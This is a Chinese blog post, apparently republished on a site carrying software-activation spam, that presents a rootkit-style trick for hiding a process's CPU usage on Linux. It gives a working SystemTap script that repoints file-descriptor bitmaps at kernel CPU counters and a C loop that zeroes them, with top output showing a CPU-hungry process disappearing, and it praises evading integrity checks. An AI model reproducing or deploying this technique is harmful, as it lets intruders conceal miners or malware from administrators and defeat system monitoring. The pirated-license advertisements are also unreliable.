手机cpu控制免root_cpu利用率低但是卡

手机cpu控制免root_cpu利用率低但是卡想不想让CPU利用率展示成一首优美的旋律,就像弹琴一样。我的意思是,你想让系统以及task的CPU利用率是多少它就是多少,一切都是由你的程序自己来调制演奏。这需要一种自指机制。哈哈,完全可以,本文来演示,或者说,你可以把本文的内容看作一个戏弄运维人员的恶作剧。运维人员经常会遇到各种CPU高的问题,然后成群结队地去排查,想让队伍更大些吗?想让事情更诡异吗?我让你查,我让你查。哈哈。事先声明,若用本文描述的手段实施恶意行为,将会受到谴责,这并不是一个真正工程师该有的行为,更有辱手艺人的探索精神。

大家好,又见面了,我是你们的朋友全栈君。如果您正在找激活码,请点击查看最新教程,关注关注公众号 “全栈程序员社区” 获取激活教程,可能之前旧版本教程已经失效.最新Idea2022.1教程亲测有效,一键激活。

Jetbrains全家桶1年46,售后保障稳定

想不想让CPU利用率展示成一首优美的旋律,就像弹琴一样。

我的意思是,你想让系统以及task的CPU利用率是多少它就是多少,一切都是由你的程序自己来 调制演奏。 这需要一种自指机制。

哈哈,完全可以,本文来演示,或者说,你可以把本文的内容看作一个戏弄运维人员的恶作剧。

运维人员经常会遇到各种CPU高的问题,然后成群结队地去排查,想让队伍更大些吗?想让事情更诡异吗?我让你查,我让你查。哈哈。

事先声明,若用本文描述的手段实施恶意行为,将会受到谴责,这并不是一个真正工程师该有的行为,更有辱手艺人的探索精神。

先大致介绍一下原理。

Linux系统的CPU利用率是通过时钟中断的打点来采样来统计的,具体的样本系统会展示在procfs中,具体就是/proc/stat。

进一步,/proc/stat中的信息是从全局的静态per cpu变量kernel_cpustat中取出来的:


static inline void task_group_account_field(struct task_struct *p, int index,
                        u64 tmp)
{ 
   
    /* * Since all updates are sure to touch the root cgroup, we * get ourselves ahead and touch it first. If the root cgroup * is the only cgroup, then nothing else should be necessary. * */
    __get_cpu_var(kernel_cpustat).cpustat[index] += tmp;

    cpuacct_account_field(p, index, tmp);
}

Jetbrains全家桶1年46,售后保障稳定

其中的index是一个枚举,分别表示CPU时间的类型,大致看一眼就行:

enum cpu_usage_stat { 
   
    CPUTIME_USER,
    CPUTIME_NICE,
    CPUTIME_SYSTEM,
    CPUTIME_SOFTIRQ,
    CPUTIME_IRQ,
    CPUTIME_IDLE,
    ...
    NR_STATS,
};

每一次打点采样的时候,系统总是会把距离上一次打点采样的时间差递增到kernel_cpustat的对应index中。

我们只需要有一个机制,可以按照我们的意愿来修改kernel_cpustat的值就可以了。

显然,写一个模块,内置一个timer,每隔一段时间就去设置一下kernel_cpustat的值当然是OK的,很容易用stap的POC脚本演示效果。然而,这种方案动静太大,你不得不加载一个内核模块,而这很容易被运维抓到,因此你不得不去隐藏这个内核模块,我前面写过很多隐藏技巧,这将又是一个声势浩大的动作。

所以说,必须设计一种让task自己隐藏自己CPU利用率的自隐藏机制。

我瞄准了内核里的bitmap,恰好它的每一个bit就是一个琴键,相当形象的比喻,一个64位的bitmap就有64个琴键,每一个bit设置不同的值就能显示不同的CPU利用率。

具体如何做呢?

哈哈, task_struct里不是files_struct吗?files_struct里不是有fdtable吗?fdtable里不是有两个位图吗?

  • close_on_exec位图。
  • open_fds位图。

看出啥意思了吗?我想我已经不必多说了吧:

  • 将close_on_exec位图指向具体CPU核的kernel_cpustat。
  • 将open_fds位图指向task_struct自己的utime,stime的地址。
  • 进程中不断地open/close具体的文件并fcntl对应的~FD_CLOEXEC标志。

来来来,看代码:

%{ 
   
#include <linux/kernel_stat.h>
#include <linux/fdtable.h>
%}

global pid;
global type;
global addr;

function change_fdt(tsk:long, type:long, addr:long)
%{ 
   
	struct task_struct *p = (struct task_struct *)STAP_ARG_tsk;
	struct files_struct *files;
	struct fdtable *fdtbl;
	struct kernel_cpustat *stat;
	unsigned long *m = NULL;

	files = p->files;
	fdtbl = files->fdt;
	stat = &__get_cpu_var(kernel_cpustat);
	m = fdtbl->close_on_exec;
	printk("before:%p\n", fdtbl->close_on_exec);
	if (STAP_ARG_type == 1) { 
   
		fdtbl->close_on_exec = (unsigned long *)stat;
		fdtbl->open_fds = (unsigned long *)&(p->utime);
	} else if (STAP_ARG_type == 0) { 
   
		fdtbl->close_on_exec = (unsigned long *)STAP_ARG_addr;
	}
	printk("after:%p\n", fdtbl->close_on_exec);
%}

probe kernel.function("account_process_tick")
{ 
   
	if (pid() == pid) { 
   
		//@cast($p, "struct task_struct")->utime = -100000;
		//@cast($p, "struct task_struct")->stime = -100000;
		change_fdt($p, type, addr);
		exit();
	}
}

probe begin
{ 
   
	pid = $1
	type = $2
	addr = $3
}

照着上面的原理理解上述代码,够简单了,无须多讲。

再看一个超级消耗CPU的程序:

// loop.c
#include <sys/types.h>
#include <sys/stat.h>
#include <errno.h>
#include <fcntl.h>

void clear_cpu_account()
{ 
   
	int flags;
	int i;

	// 大致需要设置USER,SYS,SOFTIRQ等4个u64的值,256个bit足够了。
	for (i = 3; i < 259; i++) { 
   
		if (i == 64 || i == 128) // 为了防止open_fds被理解为utime,stime后除0异常
			continue;
		i = open("./aa", O_RDONLY);
		if (i == -1) { 
   
			perror("open");
			exit(1);
		}
		flags = fcntl(i, F_GETFD);
		flags &= ~FD_CLOEXEC;
		fcntl(i, F_SETFD, flags);
	}
	for (i = 3; i < 259; i++) { 
   
		if (i != 64 && i != 128) // 为了防止open_fds被理解为utime,stime后除0异常
			close(i);
	}
}

int main()
{ 
   
	while (1) { 
   
		clear_cpu_account();
	}
}

来看效果。

先看不隐藏CPU利用率时的loop程序:

[root@localhost ~]# ./a.out &
[1] 4021
[root@localhost ~]# top
top - 23:03:26 up  3:06,  3 users,  load average: 0.31, 0.08, 0.04
Tasks:  86 total,   2 running,  84 sleeping,   0 stopped,   0 zombie
%Cpu(s): 16.6 us, 83.4 sy,  0.0 ni,  0.0 id,  0.0 wa,  0.0 hi,  0.0 si,  0.0 st
KiB Mem :  1016860 total,   580596 free,   102116 used,   334148 buff/cache
KiB Swap:  2097148 total,  2097148 free,        0 used.   757212 avail Mem

  PID USER      PR  NI    VIRT    RES    SHR S %CPU %MEM     TIME+ COMMAND
 4021 root      20   0    4212    352    280 R 94.0  0.0   0:16.39 a.out
   11 root      20   0       0      0      0 S  6.0  0.0   0:01.25 rcuos/0
 3881 root      20   0       0      0      0 S  0.3  0.0   0:01.35 kworker/0:1
    1 root      20   0   43400   3688   2480 S  0.0  0.4   0:00.72 systemd

CPU利用率是不是波澜壮阔的,嗯,是的,一下子就知道a.out是元凶。

然后我们运行我们的stap脚本:

[root@localhost test]# stap -g ./hidestat.stp 4021 1 0
[root@localhost test]# top
top - 23:06:42 up  3:09,  3 users,  load average: 2.00, 1.01, 0.41
Tasks:  85 total,   2 running,  83 sleeping,   0 stopped,   0 zombie
%Cpu(s):  0.0 us,  0.0 sy,  0.0 ni,100.0 id,  0.0 wa,  0.0 hi,  0.0 si,  0.0 st
KiB Mem :  1016860 total,   579600 free,   102216 used,   335044 buff/cache
KiB Swap:  2097148 total,  2097148 free,        0 used.   756400 avail Mem

  PID USER      PR  NI    VIRT    RES    SHR S %CPU %MEM     TIME+ COMMAND
   11 root      20   0       0      0      0 S  5.3  0.0   0:11.88 rcuos/0
    1 root      20   0   43400   3688   2480 S  0.0  0.4   0:00.72 systemd
    2 root      20   0       0      0      0 S  0.0  0.0   0:00.00 kthreadd
    3 root      20   0       0      0      0 S  0.0  0.0   0:00.01 ksoftirqd/0
    7 root      rt   0       0      0      0 S  0.0  0.0   0:00.00 migration/0
    8 root      20   0       0      0      0 S  0.0  0.0   0:00.00 rcu_bh

咦?a.out呢?风平浪静了…

如我所愿,系统整体的CPU利用率,100% idle,a.out也早就不知道沉到哪里去了,为a.out取一个好名字,运维们根本不会想象这样的程序会是元凶,虽然在技术的视角非常有必要利用我之前介绍的trick将a.out隐藏掉,但是多一事不如少一事。

我比较喜欢这个方案,它的优点在于:

  • 没有hook任意的内核代码,因此通过代码段摘要就无法查出来。
  • 甚至无需隐藏进程,因此减少了对系统稳定的影响。
  • 你可以通过修改loop.c程序实现自定义的CPU利用率控制(就像演奏一样)。

我要赶紧结束掉a.out再继续写下去,虽然top看不出任何问题,但是我的电脑已经非常烫手了,显然,a.out依然在驱动着CPU开足马力耗电,只是这一切被藏了起来,这是炎热的夏天的夜晚…

代码临时仓促写着玩,还有很多问题没有解决:

  • 确实偶尔会造成panic。
  • 偶尔依然会有除0异常。
  • 通过检查/proc/stat,会发现CPU时间计数器不是单调递增的,难不成时间会倒流?

技术分析到此为止,最后我来谈一下关于Rootkit中的root如何理解。

先说我的结论:

  • 我不认为用技术手段激活成功教程root属于Rootkit攻击的一部分。Rootkit需要你事先拿到最高权限。

Rootkit属于采用技术手段达到自己目的的一种内核木马,显然必须使用root权限才能将其装入内核,root权限是一个前置条件。

我倾向于采用社会工程学手段拿到最高权限,而不是采用技术手段去激活成功教程。

root权限,或者说最高权限的激活成功教程完全是另一个技术领域,它更多的是身份认证的工作,涉及到密码学,PKI体系等,而这些并不是Rootkit关注的。Rootkit关注的往往是你拿到权限之后,具体要做什么,而不是如何拿到权限。

社会工程学拿到root权限反而要省事的多。

另一方面,反过来讲,即便是给你root权限,绝大多数人也并非有能力去部署木马。这基本反驳了普遍存在的一个观点, “root都给你了,还有什么做不到的呢?” 你给一个非全栈的前端程序员root权限,让他写一个内核握手代理试试,即便是root已经在手的系统管理员,系统运维,绝大多数对于内核的控制也是无能为力的。当然,少数例外排除在外。

光root权限在手没用,若想实施一点坏主意,还需要对系统运作原理有足够深入的理解,而这个是非常专业的领域。这就好比很多人都知道开源是好事,可是能看懂源代码的人本就不多。开源对不懂代码的人有用吗?这是一种文化,而不是一门技术。

太晚了,有时间我会演示如何将CPU的高利用率甩锅给任意进程,以嫁祸于人或者恶意制造障碍。不过我必须再次声明,我并不是真的心存恶意,否则我也不会写出来,我只是在尽力避免这种恶意在现实中被实施。


浙江温州皮鞋湿,下雨进水不会胖。

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 举报,一经查实,本站将立刻删除。

发布者:全栈程序员-用户IM,转载请注明出处:https://javaforall.cn/198380.html原文链接:https://javaforall.cn

【正版授权,激活自己账号】: Jetbrains全家桶Ide使用,1年售后保障,每天仅需1毛

【官方授权 正版激活】: 官方授权 正版激活 支持Jetbrains家族下所有IDE 使用个人JB账号...

(0)


相关推荐

  • pycharm安装第三方库_下载pycharm

    pycharm安装第三方库_下载pycharm1、安装支持python的IDEPycharm专业版;2、利用edu邮箱,免费注册获取license免费使用专业版。

  • leetcode-46全排列[通俗易懂]

    leetcode-46全排列[通俗易懂]原题链接给定一个 没有重复 数字的序列,返回其所有可能的全排列。示例:输入: [1,2,3]输出:[ [1,2,3], [1,3,2], [2,1,3], [2,3,1], [3,1,2], [3,2,1]]题解回溯即可class Solution {public: vector<vector<int> >res; vector<int>t; void dfs(int num,int len,vecto

  • 整除计算器_整除

    整除计算器_整除原题链接这里所谓的“光棍”,并不是指单身汪啦~ 说的是全部由1组成的数字,比如1、11、111、1111等。传说任何一个光棍都能被一个不以5结尾的奇数整除。比如,111111就可以被13整除。 现在,你的程序要读入一个整数x,这个整数一定是奇数并且不以5结尾。然后,经过计算,输出两个数字:第一个数字s,表示x乘以s是一个光棍,第二个数字n是这个光棍的位数。这样的解当然不是唯一的,题目要求你输出最小的解。提示:一个显然的办法是逐渐增加光棍的位数,直到可以整除x为止。但难点在于,s可能是个非常大的数 ——

  • 网络基础知识题_基础有哪些类型

    网络基础知识题_基础有哪些类型本文结合多年来的工作实践,来详细讲述一下作为IT从业人员要掌握的一些基础网络知识。

  • 转行学习3D游戏建模,你需要了解的职业分类及发展

    转行学习3D游戏建模,你需要了解的职业分类及发展王者荣耀、LOL、梦幻西游,近几年在线人数破千万,带动了越来越多的企业在游戏上的开发,3D游戏建模将游戏的画面感、真实感高度还原,给游戏者更强烈的体验感,更加身临其境。游戏模型师是目前非常热的职业岗位,目前国内动漫游戏产业已经非常成熟,需要大量优质青年加入游戏美术行业,在游戏企业里可以成为优秀的次世代场景模型师,次世代角色模型师,底模手绘贴图模型师。成功进入游戏企业之后经过项目的锻炼,薪资也会逐年有所提升。游戏建模职业分类及发展:进入游戏模型行业你可以选择不同的发展方向,比如:(1)手绘3D美术设

  • callee caller作用_call up和call的区别

    callee caller作用_call up和call的区别caller和callee的区别

    2022年10月29日

发表回复

您的电子邮箱地址不会被公开。

关注全栈程序员社区公众号